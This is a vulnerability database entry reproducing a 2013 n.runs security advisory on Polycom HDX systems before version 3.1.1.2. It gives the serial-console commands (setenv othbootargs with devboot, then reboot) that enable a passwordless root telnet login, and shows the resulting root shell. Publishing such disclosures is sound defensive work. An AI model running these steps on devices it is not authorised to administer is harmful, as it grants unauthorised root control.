ID

VAR-E-201303-0347

TITLE

Polycom HDX Privilege Escalation

DESCRIPTION

The Polycom Command Shell can be used to view and also change several settings of the system. However it can also be used to get system-level access (i.e. root access) to the HDX system. The "printenv" and "setenv" commands can be used to read and write variables respectively which are stored in flash memory. Polycom HDX series versions prior to 3.1.1.2 are affected.

AFFECTED PRODUCTS

EXPLOIT

n.runs AG
http://www.nruns.com/
security(at)nruns.com
n.runs-SA-2013.001 15-Mar-2013
___________________________________________________________________________
Vendor: Polycom, http://www.polycom.com
Affected Products: Polycom HDX Series
Affected Version: < 3.1.1.2
Vulnerability: Polycom Command Shell Grants System-Level Access
Risk: LOW
___________________________________________________________________________

Overview:

The Polycom Command Shell is a command-line based administrative interface
to the Polycom HDX system. It can be accessed either via a RS-232 serial
connection or via telnet on port 23.

Description:

The Polycom Command Shell can be used to view and also change several
settings of the system. However it can also be used to get system-level
access (i.e. root access) to the HDX system. The "printenv" and "setenv"
commands can be used to read and write variables respectively which are
stored in flash memory.

The easiest way to get root access to the HDX system is to enable the
"development mode" of the system which will then enable a telnet server
where a root login without a password is possible. In order to enable
the development mode, the "devboot" U-Boot environment variable must
be set. This can be done through the Polycom Command Shell with the
following commands:

$ cu -l ttyUSB0 -s 9600
-> setenv othbootargs "devboot=bogus"
-> reboot
reboot, are you sure? <y,n> y

This will reboot the system and enable a telnet server where a login as
root is possible.

$ telnet 192.168.0.218
Trying 192.168.0.218...
Connected to 192.168.0.218.
Escape character is '^]'.

hdx7000.lan login: root
## Error: "vidoutsize" not defined
# id
uid=0(root) gid=0(root)
# uname -a
Linux hdx7000.lan 2.6.18.1.p2.14 #1 PREEMPT Wed Feb 3 10:25:31 CST 2010
ppc unknown
#

Impact:

Someone with legitimate access to the Polycom Command Shell can get
direct system-level access to the underlying embedded Linux system.
This can be used to further analyze the system.

Solution:

Polycom released version 3.1.1.2 of the HDX software which fixes this
issue. It can be downloaded from the Polycom Support page at
http://support.polycom.com.
___________________________________________________________________________

Credit:
Bug found by Moritz Jodeit of n.runs AG.
___________________________________________________________________________

Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact
security@nruns.com for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded.
In no event shall n.runs be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages, even if n.runs has been advised of the possibility of
such damages.

Copyright 2013 n.runs AG. All rights reserved. Terms of use apply.

EXPLOIT HASH

EXPLOIT LANGUAGE

shell

PRICE

free

TYPE

root

TAGS

CREDITS

Moritz Jodeit

EXTERNAL IDS

SOURCES

LAST UPDATE DATE

2022-07-27T09:56:43.375000+00:00

SOURCES RELEASE DATE